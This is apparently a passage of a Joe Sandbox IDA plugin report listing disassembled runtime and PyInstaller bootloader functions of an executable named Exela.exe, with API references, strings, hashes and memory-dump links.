Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction ID: 69ae4843d4b8edf228c67872d48751448eeab6a042949abcefdd71ae468921de
Opcode Fuzzy Hash: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction Fuzzy Hash: 4521AE32A18B9196F720FB50B8867E6A3A4EF88384F884171FE8C53659DF3CD5458750

Function 00007FF75AEA9AF8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF75AEA9B1D
GetProcAddress.KERNEL32 ref: 00007FF75AEA9B33
FreeLibrary.KERNEL32 ref: 00007FF75AEA9B5A

Strings

mscoree.dll, xrefs: 00007FF75AEA9B14
CorExitProcess, xrefs: 00007FF75AEA9B2C

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction ID: a1072ec89668f8278928c6cadc224fb97ae77f5b3bbdcb8454deec88d1f64dd4
Opcode Fuzzy Hash: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction Fuzzy Hash: 33F06221B09B1A81FB10BB24E45A37AA320EF49761F9C47B5C67E462F4DF2CD444C364

Function 00007FF75AEB93D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF75AEB9400
_set_statfp.LIBCMT ref: 00007FF75AEB941B
_set_statfp.LIBCMT ref: 00007FF75AEB9437
_set_statfp.LIBCMT ref: 00007FF75AEB9473

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 096d61439cbb509755554546ccff3729beeb84aa50cc365daa6e78b9063f459d
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 9911BF62E1CB3B41F65431A4D4DF3B9A0446F5A360F8C4BB4EA6E062D68F2CAC4142A4

Function 00007FF75AEAB400 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF75AEAA613,?,?,00000000,00007FF75AEAA8AE,?,?,?,?,?,00007FF75AEAA83A), ref: 00007FF75AEAB41F
FlsSetValue.KERNEL32(?,?,?,00007FF75AEAA613,?,?,00000000,00007FF75AEAA8AE,?,?,?,?,?,00007FF75AEAA83A), ref: 00007FF75AEAB43E
FlsSetValue.KERNEL32(?,?,?,00007FF75AEAA613,?,?,00000000,00007FF75AEAA8AE,?,?,?,?,?,00007FF75AEAA83A), ref: 00007FF75AEAB466
FlsSetValue.KERNEL32(?,?,?,00007FF75AEAA613,?,?,00000000,00007FF75AEAA8AE,?,?,?,?,?,00007FF75AEAA83A), ref: 00007FF75AEAB477
FlsSetValue.KERNEL32(?,?,?,00007FF75AEAA613,?,?,00000000,00007FF75AEAA8AE,?,?,?,?,?,00007FF75AEAA83A), ref: 00007FF75AEAB488

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: e370891a427e995cf622d6c66c6ae617f18e5219a23357883517039299fedc16
Instruction ID: 4a939da0c258c316aa3a161b0d7937b10bdc9bdad022bd1f95d20fae419fbcee
Opcode Fuzzy Hash: e370891a427e995cf622d6c66c6ae617f18e5219a23357883517039299fedc16
Instruction Fuzzy Hash: 56118E20F0C67241FA58B322A6AB179E1425F847B0FCC83B4E87D476D6EE2CEC018321

Function 00007FF75AEAB294 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF75AEAB2A5
FlsSetValue.KERNEL32 ref: 00007FF75AEAB2C4
FlsSetValue.KERNEL32 ref: 00007FF75AEAB2EC
FlsSetValue.KERNEL32 ref: 00007FF75AEAB2FD
FlsSetValue.KERNEL32 ref: 00007FF75AEAB30E

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: e449caa10890978289f0fc2f631dee428fb70040431ae2bf3103bb36de88fb08
Instruction ID: d96abdc1735e9a3c48c83000acd533ad98f74161f52f259a83581d19505135f5
Opcode Fuzzy Hash: e449caa10890978289f0fc2f631dee428fb70040431ae2bf3103bb36de88fb08
Instruction Fuzzy Hash: AB111520E0926781FA687326646B2BA91824F46720FCC87B4D97E4A2C2DD2CB8118331

Function 00007FF75AEA6010 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA604C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA6176
_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA622C

Strings

verbose, xrefs: 00007FF75AEA6020

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: 4aa6e6e2902e37364334a322745afdda62c925a9819adc53e0bd3a7edee81c7c
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: 8491DE32A08A6681F760BE28D45A37DBA91AF43B94FCC4176DA9E433D5DF3CE4458320

Function 00007FF75AEAFC38 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEAFF17

Part of subcall function 00007FF75AEA7AAC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA7AC9

Strings

ccs, xrefs: 00007FF75AEAFE52
UTF-8, xrefs: 00007FF75AEAFE96
UTF-16LEUNICODE, xrefs: 00007FF75AEAFEB5

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction ID: 3fb4a9350b19ca4c4786fef75e800bbffc3706ca0406780962aaeea97991470e
Opcode Fuzzy Hash: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction Fuzzy Hash: 3A81C332E0C26385F7657F29811A378B7A0AF11B58FDE80B5DA4997295DF2DE901C321

Function 00007FF75AE9D6B8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF75AE9D6E3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF75AE9D77A
RtlUnwindEx.KERNEL32 ref: 00007FF75AE9D7D4

Strings

csm, xrefs: 00007FF75AE9D761

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction ID: d92ca4346882baa35e7908e1d2c455b35271a8e0a8c466933c98df6c9e3f8777
Opcode Fuzzy Hash: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction Fuzzy Hash: A651A032B197228EFB24BB15E485A78A391EF44B98F988170DA4E43749DF3CE841C720

Function 00007FF75AE9F2F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF75AE9F320
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF75AE9F408

Strings

csm, xrefs: 00007FF75AE9F342
csm, xrefs: 00007FF75AE9F45A

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction ID: 14071bf1999c45793bad5e3388ea55c069f67863c66b170a2190b701d1962f94
Opcode Fuzzy Hash: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction Fuzzy Hash: 5451A0729083A28EFB64BE219146B68B6A4FF54B94F9C8275DA4C47799CF3CE850C710

Function 00007FF75AE9EF48 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF75AE9EFA7
_CallSETranslator.LIBVCRUNTIME ref: 00007FF75AE9EFF3

Strings

MOC, xrefs: 00007FF75AE9EFBB
RCC, xrefs: 00007FF75AE9EFC3

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction ID: 540c196a548f2c856d508b08e40695b6f8c67d2960c60530a10d583b4ea8d961
Opcode Fuzzy Hash: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction Fuzzy Hash: 1D61D232908BD589EB20AB15E4427AAF7A0FF84B84F484275EB9C03B95DF7CD190CB50

Function 00007FF75AE92810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF75AE928EA

Strings

[PYI-%d:%ls] , xrefs: 00007FF75AE92868
ERROR, xrefs: 00007FF75AE9286F
Error, xrefs: 00007FF75AE928DD

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction ID: 378633b91a65d3ab7784f3fcee03ea6a5e1a46a3dc1440622e7e93e0a444ff59
Opcode Fuzzy Hash: d0f77ace03032ad826a8cfca47aff52564341a40e7b1b64160a5aa56c6ce0663
Instruction Fuzzy Hash: DB21D162B08B5196F720BB14F8467EAA3A0FF88780F844136EE8D57755DE3CD645C710

Function 00007FF75AEAC610 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF75AEAC68F
WriteFile.KERNEL32 ref: 00007FF75AEAC957
WriteFile.KERNEL32 ref: 00007FF75AEAC99D
GetLastError.KERNEL32 ref: 00007FF75AEACA53

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction ID: c028abf86631ec4877a2939a4b8d6839013e72de22922ae285f6860ac433dc72
Opcode Fuzzy Hash: 1ea6e931977968e7606fd026366deb17473f9f47aeaf25dd19fcfb7bb3399e1d
Instruction Fuzzy Hash: 58D14472B08A948AF710EFA4D4451BC77B1FF84798B888275DE5EA7B89DE38D406C310

Function 00007FF75AE920C0 Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF75AE920F4
SetWindowLongPtrW.USER32 ref: 00007FF75AE92116
GetWindowLongPtrW.USER32 ref: 00007FF75AE92140
InvalidateRect.USER32 ref: 00007FF75AE92160

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: LongWindow$DialogInvalidateRect
String ID:
API String ID: 1956198572-0
Opcode ID: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction ID: 2a07edad9a2e8a70f95aa7004c0bb2339cfd1536b19b8aa65725e6adeb578c8c
Opcode Fuzzy Hash: 3f66ec3ad31a24d6b03c6ecd933265a99c2c3f38e7b83c206d3886b5f9d1bb92
Instruction Fuzzy Hash: C411E921B0C26646FA54B76AE54A6BA9292FF84780FCC8170DF4907B99DE2DD8D58210

Function 00007FF75AEB5B8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 121COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75AEB17D0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEB1803

_get_daylight.LIBCMT ref: 00007FF75AEB5CA4
_get_daylight.LIBCMT ref: 00007FF75AEB5CB5

Strings

?, xrefs: 00007FF75AEB5C35

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
Instruction ID: 10508e4130a64dee4c09c864dfcac040f3ce2068d20b96f0d6ca43f1a55b4730
Opcode Fuzzy Hash: 49037f27f8a3fd0af602071961786b5c11050eb40cc6520dd4d88adff463e317
Instruction Fuzzy Hash: 41412A32A083AA41F760BB15A44A379D651EF80BA4F584375EE5D06AD5DF3CD8428B20

Function 00007FF75AEA9084 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75AEA90B6

Part of subcall function 00007FF75AEAA9B8: RtlFreeHeap.NTDLL(?,?,?,00007FF75AEB2D92,?,?,?,00007FF75AEB2DCF,?,?,00000000,00007FF75AEB3295,?,?,?,00007FF75AEB31C7), ref: 00007FF75AEAA9CE
Part of subcall function 00007FF75AEAA9B8: GetLastError.KERNEL32(?,?,?,00007FF75AEB2D92,?,?,?,00007FF75AEB2DCF,?,?,00000000,00007FF75AEB3295,?,?,?,00007FF75AEB31C7), ref: 00007FF75AEAA9D8

GetModuleFileNameW.KERNEL32(?,?,?,?,?,00007FF75AE9CC15), ref: 00007FF75AEA90D4

Strings

C:\Users\user~1\AppData\Local\Temp\Exela.exe, xrefs: 00007FF75AEA90C2

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: ErrorFileFreeHeapLastModuleName_invalid_parameter_noinfo
String ID: C:\Users\user~1\AppData\Local\Temp\Exela.exe
API String ID: 3580290477-3619601554
Opcode ID: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
Instruction ID: 81401ee1183dc8aa3e7d0b25a36fc2ac9f1b17f6b02db8872a4e0628b7ebc2ae
Opcode Fuzzy Hash: 6949f310d66ea20a01752be9fefe254e5f7f697695929ffcc1b4329691481a3a
Instruction Fuzzy Hash: BA418236A08B2286FB54FF25A8960BDA794EF447D4FDD8075EA4D43B85DE3CE4818360

Function 00007FF75AEACCA8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF75AEACDBF
GetLastError.KERNEL32 ref: 00007FF75AEACDE1

Strings

U, xrefs: 00007FF75AEACD6B

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction ID: 8fd12d45e55f955855692987b5b4a5ae8a71d04723048270c4213641927f796d
Opcode Fuzzy Hash: 476bd95e1daeb27f29af256220462f16043a6e728498dde3caabbd6ec9016d26
Instruction Fuzzy Hash: 3E41E332B18B5585EB20BF65E4493AAA760FF88784F884035EE4D97B88EF3CD401C750

Function 00007FF75AEAF628 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32 ref: 00007FF75AEAF668
GetCurrentDirectoryW.KERNEL32 ref: 00007FF75AEAF6BA

Strings

:, xrefs: 00007FF75AEAF67E

Memory Dump Source

Source File: 0000004C.00000002.2109077931.00007FF75AE91000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF75AE90000, based on PE: true

Associated: 0000004C.00000002.2108988616.00007FF75AE90000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109172912.00007FF75AEBB000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AECE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109274929.00007FF75AED2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000004C.00000002.2109451009.00007FF75AED4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_76_2_7ff75ae90000_Exela.jbxd

Similarity

API ID: CurrentDirectory
String ID: :
API String ID: 1611563598-336475711
Opcode ID: d6dc5ef3b9a701496246f0bbbe5215094a09db29d56a445c076fb19df1080212
Instruction ID: d0ca27f50b3d8d6ea6396d274946eb701d65cf6ee1a9dafadde8a1e0db84d645
Opcode Fuzzy Hash: d6dc5ef3b9a701496246f0bbbe5215094a09db29d56a445c076fb19df1080212
Instruction Fuzzy Hash: 72210932A0829182FB20BB11D05A17DB3B1FFC8B44FD98079D68C43694DF7CD94587A1

Function 00007FF75AE9FDB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

